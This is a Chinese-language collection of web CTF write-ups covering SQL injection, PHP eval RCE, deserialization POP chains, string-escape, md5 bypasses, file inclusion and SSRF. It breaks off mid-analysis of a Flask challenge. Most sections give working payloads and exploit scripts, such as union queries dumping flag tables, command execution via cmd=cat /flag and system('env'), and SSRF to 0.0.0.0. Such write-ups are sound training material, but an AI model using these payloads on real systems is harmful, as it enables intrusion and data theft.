[SWPUCTF 2021 新生赛]easy_sql

payload1

1
?wllm=1

image-20260118120702919

有回显说明不是数字型注入

payload2

1
?wllm=1'

image-20260118120719908

有报错说明是字符型注入

payload3

1
?wllm=1' order by 3 -- +

利用order by语句判断name和password的列数

3的时候有正常回显说明不是3

image-20260118120734479

4的时候报错无正常回显说明该数据库有3列

payload4

1
?wllm=2'union select 1,2,3--+

没看懂为什么变成2,不懂union select是什么意思网上暂时没找到

image-20260118120747176

大体可以知道,网页上回显的内容是selec查询语句第二个参数和第三个参数的内容

payload5

1
?wllm=0'union select 1,2,database() --+

image-20260118120752959

好像是查看数据库名称,需要wllm的值不等于1

payload6

1
?wllm=2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

group_concat函数和information_schema.tables,就是查看‘test_db’数据库下有哪些表

image-20260118120815775

payload7

1
?wllm=2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+  

image-20260118120820742

正常回显,有id和flag两列,那这个flag里的内容应该就是我们最终所需要的答案了。我们通过select查询语句让它把flag的内容回显。

payload8

1
?wllm=2'union select 1,2,flag from test_tb--+

image-20260118120841101

[ISCTF2025]ezrce

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}

代码审计

1
2
3
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}

正则表达式/^[A-Za-z()_;]+$/只能有字母和括号 所以是无参rce

payload

1
?code=highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

image-20260118120916106

ISCTF{468c3b15-c2c8-4df7-bbcd-faffe34dcbc5}

[LitCTF 2023]Vim yyds

在虚拟机里进行终端扫描目录dirsearch -u http://node4.anna.nssctf.cn:28656/ -e all

image-20260118120929947

然后访问/.index.php.swp下载了一个文件,将这个文件复制到虚拟机里面image-20260118120944502

执行vim -r index.php.swp查看文件内容找到php代码

然后这边就是一开始一直复制不出来太气人了,问了学长说vim进入编辑后要按键盘的Esc,输入::w 1.php(文件名) 就可以保存到这个文件中

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>

代码审计

1
if ($_POST['password'] === base64_encode($password)) 

POST传参password=Give_Me_Your_Flag(base64后的)

1
eval(system($_POST['cmd']));

将参数cmd的值作为system()函数的参数执行,所以cmd的值就是命令

最终payload

1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

image-20260118121007363

[UUCTF 2022 新生赛]websign

image-20260118121018009额这道题就是根据题目查看源码但发现键盘输入不能用(一开始我以为我键盘坏了。。

然后就其实先想到的是看index.php,config.php这些但也没用

就想用bp抓包看一下,结果直接出了额有点。。

image-20260118121025125

[玄武杯 2025]ez_include

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
stream_wrapper_unregister('php');

if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));// 生成32位随机十六进制字符串(如 a1b2c3...)
$mkdir('users/'.$randFolder); // 创建目录 users/随机字符串
chdir('users/'.$randFolder);// 切换当前工作目录到该随机目录

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));// 优先取 X-Forwarded-For 头,否则取 REMOTE_ADDR(客户端IP)

$mkdir($userFolder);// 创建用户目录
chdir($userFolder);// 切换到用户目录
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');// 回到随机目录(users/随机字符串)
$_GET['page']=str_replace('.','',$_GET['page']); // 把 page 参数中的 . 替换为空
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
include($_GET['page']);
}

chdir(__DIR__);
system('rm -rf users/'.$randFolder);

?>

代码审计

1
2
3
4
5
if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};

如果参数中存在no_hl则不会显示源码,带参数时执行后续逻辑

$mkdir:匿名函数

这是非预期解

之间传入/flag就得到了

image-20260118121118778

[SWPUCTF 2021 新生赛]ez_unserialize

image-20260118121126296一开始看不到题目,先查看源码

image-20260118121131209看到了disallow,就想到了爬虫协议

image-20260118121141355

看到了可以访问的,就访问看到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");

当admin=admin,passwd=ctf的时候可以看到flag

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class wllm{

public $admin;
public $passwd;
}

$a = new wllm();
$a -> admin = 'admin';
$a -> passwd = 'ctf';
echo (serialize($a));
?>

payload

1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

image-20260118121156161

[GHCTF 2024 新生赛]ezzz_unserialize(原生类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

class NoNo {
private $peach;

public function __construct($string) {
$this -> peach = $string;
}

public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}

}

class UkyoTachibana{
public $banana;
public $mangosteen;

public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class UesugiErii{
protected $coconut;

protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}

if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}

代码审计

1
2
3
4
5
6
7
8
9
10
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){ $this->apple = $a; }
function __destruct() { echo $this->apple; } // 关键:echo 触发 __toString
public function __toString() {
$new = $this->strawberry;
return $new(); // 关键:$new() 触发 __invoke
}
}

__toString():如果apple是其他类(如UkyoTachibana、Heraclqs)的对象,echo会触发该对象的__toString方法

__toString()中执行$new()如果$this->strawberry是其他类的对象,则触发Heraclqs类中的__invoke魔术方法

1
2
3
4
5
6
7
8
9
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this->blueberry)) == 123) { // 条件判断
return $this->grape->hey; // 读取不存在的 hey 属性 → 触发 __get
}
}
}

__invoke:对象被当作函数调用时触发,md5(md5($this->blueberry)) == 123有一个md5哈希值弱比较,需要找到一个$blueberry满足该哈希条件

1
2
3
4
5
6
7
8
9
10
11
class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday); // 动态创建对象:类名=$Tuesday,参数=$Monday
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>'); // 遍历对象属性 → 触发 __toString
}
});
}
}

array_walk():遍历当前类的所有属性

function ($Monday, $Tuesday):$Monday为属性值,$Tuesday为属性名

$Wednesday = new $Tuesday($Monday); :把$Tuesday类实例化为$Wednesday,$Monday作为传入的参数

foreach($Wednesday as $Thursday):foreach为遍历循环,把遍历的当前元素值赋给$Thursday,echo将值打印出来,再遍历下一个

new $Tuesday($Monday):动态实例化类,若$Tuesday和$Monday可控,可实现实例化恶意类

构造链子的思路:

看到E类,运用原生类遍历循环,要触发get魔术方法,调用不存在的属性

找到Heraclqs类中存在不存在的属性hey,调用它需要触发魔术方法__invoke,将参数作为函数,还存在一个MD5弱比较

找到Sakura类,return $new()将参数作为函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
class Sakura{
public $apple;
public $strawberry;

}

class NoNo {
private $peach;
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;

}

class UkyoTachibana{
public $banana;
public $mangosteen;

}

class E{
public $e;
}

class UesugiErii{
protected $coconut;

}
class Heraclqs{
public $grape;
public $blueberry;
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

}

$E = new E();
$E->DirectoryIterator = '/';

$Heraclqs = new Heraclqs();
$Heraclqs -> blueberry = "LLh";//123的md5弱比较
$Heraclqs -> grape= $E;

$Sakura = new Sakura();
$Sakura -> apple = $Sakura;
$Sakura -> strawberry = $Heraclqs;

echo serialize($Sakura);
?>

DirectoryIterator:用于查看文件目录

payload

1
O:6:"Sakura":2:{s:5:"apple";r:1;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:17:"DirectoryIterator";s:1:"/";}s:9:"blueberry";s:3:"LLh";}}

image-20260118121220823

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Sakura{
public $apple;
public $strawberry;

}

class E{
public $e;

}


class Heraclqs{
public $grape;
public $blueberry;

}


$E = new E();
$E->SplFileObject = '/flag';

$Heraclqs = new Heraclqs();
$Heraclqs -> blueberry = "LLh";
$Heraclqs -> grape= $E;

$Sakura = new Sakura();
$Sakura -> apple = $Sakura;
$Sakura -> strawberry = $Heraclqs;

echo serialize($Sakura);

SplFileObject:用于读文件

1
O:6:"Sakura":2:{s:5:"apple";r:1;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:13:"SplFileObject";s:5:"/flag";}s:9:"blueberry";s:3:"LLh";}}

将文件名改为/flag绕过,内容为一句话木马,得到路径

image-20260118121255840

[MoeCTF 2021]unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

class entrance
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class springboard
{
public $middle;

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}

class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

看到eval函数找到了利用点可以将end属性的值作为php代码执行

执行这句代码需要调用__get魔术方法,调用的成员属性不存在,需调用springboard类的middle属性,它调用了不存在的属性hs

__call需调用一个不存在的方法,通过entrance类中不存在的helloworld()魔术方法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class entrance
{
public $start;

}

class springboard
{
public $middle;


}

class evil
{
public $end;

}

$a = new evil();
$a->end = "system('env');";

$b = new springboard();
$b->middle = $a;

$c = new entrance();
$c->start = $b;

echo serialize($c);

[安洵杯 2019]easy_serialize_php(字符串逃逸)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

代码审计

将f的参数改为phpinfo,看到配置信息

image-20260118121312966

类似于flag文件名

filter函数被是对serialize($_SESSION)进行过滤,滤掉一些关键字

unset函数将$_SESSION销毁,然后重新赋予$_SESSION新的值

最后调用extract($_POST)

extract()函数从数组中将变量导入到当前的符号表

根据extract可以进行变量覆盖

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[“function”]会全部消失,只留SESSION[flag]=123

f参数要传为show_image,其次可控点是img_path下的img,但是不能直接传因为会进行一系列加密

extract()变量覆盖

1
2
3
4
5
6
7
8
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

销毁$_SESSION变量–>给$_SESSION变量赋值–>extract()变量覆盖

1
2
3
4
5
6
7
8
9
10
11
extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的

键值逃逸

在php中,反序列化的过程必须严格按照序列化规则才能成功实现反序列化

结束符:;}

在str结尾的花括号后增加一些字符不会影响反序列化正常进行

1
2
3
4
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

仍然可输出上面的结果,说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行

1
2
3
4
5
6
<?php
$_SESSION["user"]='flagflagflagflagflagflag'
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

a:3:{s:4:”user”;s:24:”flagflagflagflagflagflag”;s:8:”function”;s:59:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

假设后台存在一个过滤机制,会将含flag字符替换为空

第二个s所对应的数字,本来由于6个flag字符所以为24,但现在这6个flag被过滤,那么他将会尝试向后读取24个字符看看是否满足序列化的规则,即读取;s:8:”function”;s:59:”a了,读取这24个字符后以”;结尾,恰好满足规则,第3个s向后读取img的20个字符,第4、5个s向后读取均满足规则,所以序列化结果为

1
2
3
4
5
array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}

数组形式为

1
2
3
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

SESSION数组的键值img对应的值发生了改变

他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。

逃逸实现

get传参:?f=show_image

post调用extract函数实现变量覆盖

三种传参方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#方法一
$_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
#结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密
#过滤掉flag有
#a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
#使得绕过;s:51:""到达下一个封号,这时img成功逃逸出来

#方法二
$_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

#方法三
$_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

?>

payload

_SESSION[phpflag]=;s:1:”1”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

对于这个payload首先构造img属性

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;

ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php的base64加密的结果

然后在这个属性前面任意加一个序列化字符串(只要是合法的就可以)如:

  • ;s:1:”1”
  • ;s:2”10”;
  • ;s:3:”100”;

[江苏省第七届网络空间知识技能大赛决赛]Web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
highlight_file(__FILE__);
error_reporting(0);
class date{
public $a;
public $b;
public $file;
public function __wakeup(){
if(is_array($this->a)||is_array($this->b)){
die("no array");
}
if(($this->a!=$this->b) && (md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b))){
$content = date($this->file);
$uuid = uniqid().'.txt';
file_put_contents($uuid,$content);
$data = preg_replace(('/((\s)*(\n))+(\s)*/i'),'',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
?>

代码审计

1
2
if(is_array($this->a)||is_array($this->b)){
die("no array");

如果属性a,b是数组,则回显no array

校验条件

1
if(($this->a!=$this->b) && (md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b)))

$this->a!=$this->b:弱比较,只比较值不比较类型

md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b):强比较,要求哈希值的字符串内容和类型完全一致

判断要求满足属性a,b的值不相等,到那时md5和哈希值完全相等

这里绕过md5和哈希值强比较一般有几种方法(还有其他方法记在笔记里了)

  • 数组绕过(但这边禁用数组)
  • 用Error、Exception原生类绕过

临时文件生成逻辑

1
2
3
$content = date($this->file);
$uuid = uniqid().'.txt';
file_put_contents($uuid,$content);

$content = date($this->file):将file属性值通过date函数将其日志格式化

uniqid():返回随机生成的字符串作为文件名

.:用来拼接,将之前随机生成的字符串与.txt拼接

file_put_contents($uuid,$content):将$content作为文件内容写入$uuid文件中,可能存在文件包含漏洞

构造思路

用Error原生类绕过md5和哈希值的强比较

给file赋值,绕过date格式化,可以通过\转义符绕过

构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class date{
public $a;
public $b;
public $file;

}

$a = new Error("123","1");$b = new Error("123","2");

$s = new date();
$s->a = $a;
$s->b = $b;
$s-> file='/f\l\a\g';

echo base64_encode(serialize($s));


?>
1
Tzo0OiJkYXRlIjozOntzOjE6ImEiO086NToiRXJyb3IiOjc6e3M6MTA6IgAqAG1lc3NhZ2UiO3M6MzoiMTIzIjtzOjEzOiIARXJyb3IAc3RyaW5nIjtzOjA6IiI7czo3OiIAKgBjb2RlIjtpOjE7czo3OiIAKgBmaWxlIjtzOjIxOiJEOlxQSFDku6PnoIFcd2ViMS5waHAiO3M6NzoiACoAbGluZSI7aToxMDtzOjEyOiIARXJyb3IAdHJhY2UiO2E6MDp7fXM6MTU6IgBFcnJvcgBwcmV2aW91cyI7Tjt9czoxOiJiIjtPOjU6IkVycm9yIjo3OntzOjEwOiIAKgBtZXNzYWdlIjtzOjM6IjEyMyI7czoxMzoiAEVycm9yAHN0cmluZyI7czowOiIiO3M6NzoiACoAY29kZSI7aToyO3M6NzoiACoAZmlsZSI7czoyMToiRDpcUEhQ5Luj56CBXHdlYjEucGhwIjtzOjc6IgAqAGxpbmUiO2k6MTA7czoxMjoiAEVycm9yAHRyYWNlIjthOjA6e31zOjE1OiIARXJyb3IAcHJldmlvdXMiO047fXM6NDoiZmlsZSI7czo4OiIvZlxsXGFcZyI7fQ

flag{0fc2bcb6-fe12-4ceb-ae5c-77c695a47bdd}

[NSSCTF 2022 Spring Recruit]ezgame

额源码泄露,f12里面查看直接找到了

image-20260118121415090

[SWPUCTF 2021 新生赛]include

image-20260118121426310

image-20260118121431103

get传参了一个file

image-20260118121437285

看到存在文件包含漏洞,利用filter伪协议

image-20260118121443838

[SWPUCTF 2023 秋季新生赛]Pingpingping

get传参但看到参数名Ping_ip.exe,里面有下划线和点,是非法参数,先要绕过,将它改成 Ping[ip.exe ,然后执行ping命令用管道分隔符执行其他命令

image-20260118121451442

image-20260118121457623

[NSSCTF 2022 Spring Recruit]babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>

代码审计

参数a:不包含0~9,值为整数

b1,b2:值不相等但md5值相等

c1,c2:值不相等但md5值相等的字符串

利用数组绕过

payload

1
a[]=123&b1[]=1&b2[]=2&c1=QNKCDZO&c2=240610708

[GDOUCTF 2023]泄露的伪装

image-20260118121514936

image-20260118121521199

payload

1
?cxk=data://text/plain,ctrl

[HNCTF 2022 Week1]2048

分析js代码,看到alert,将内容输入到控制台回车,会有弹窗显示flag

image-20260118121536082

image-20260118121541326

[NISACTF 2022]easyssrf

image-20260118121555243

尝试file:///etc/passwd,file伪协议不能用

image-20260118121601824

尝试http协议访问本地

1
http://127.0.0.1/flag

image-20260118121614273

得到提示尝试用file读取/fl4g

file:///fl4g

image-20260118121621234

访问ha1x1ux1u.php

image-20260118121714633

源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

看到get传参,提示flag在/flag中,就想到用伪协议读一下

1
?file=php://filter/read=convert.base64-encode/resource=/flag

img

base64解码

image-20260118121732511

[HNCTF 2022 WEEK2]ez_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}

fsockopen($host,intval($port),$error,$errstr,30)触发SSRF

fsockopen()函数建立与指定主机和端口的socket连接,然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。

网上的wp说利用poc构建脚本,poc就是测试验证的意思,不是很理解不知怎么搜

1
2
3
4
5
6
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

构造url

1
2
3
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

进行base64编码然后传参

[NSSRound#28 Team]ez_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
highlight_file(__FILE__);

//flag在/flag路由中

if (isset($_GET['url'])) {
$url = $_GET['url'];

if (strpos($url, 'http://') !== 0) {
echo json_encode(["error" => "Only http:// URLs are allowed"]);
exit;
}

$host = parse_url($url, PHP_URL_HOST);

$ip = gethostbyname($host);

$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)) {
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

if (curl_errno($ch)) {
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}

curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>

看到报错提示只能用http并且127.0.0.1和localhost被禁用

用0.0.0.0替换

1
?url=http://0.0.0.0/flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
# encoding=utf-8

from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secret_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
# SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500

if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #w说明可对result.txt内容进行更改
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print resp
tmpfile.write(resp)#将resp中的数据写入result.txt
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False


# Generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) #分别绑定不同的函数
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))#cookie传参action
param = urllib.unquote(request.args.get("param", ""))#get传参param
sign = urllib.unquote(request.cookies.get("sign"))#cookie传参sign参数sign
ip = request.remote_addr#获取请求的ip地址

if waf(param):#利用waf函数进行过滤
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secret_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param): #检测开头的几个字母是否是gopher或者file,如果是返回true
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

解题思路

先要绕过self.checkSign(),并且传入的action包含scan和read,然后执行if “scan” in self.action将/flag,txt写入result.txt,并且放在 result[‘data’] 中 , return json.dumps(task.Exec()) 接着返回以json的形式返回到客户端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)



def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False



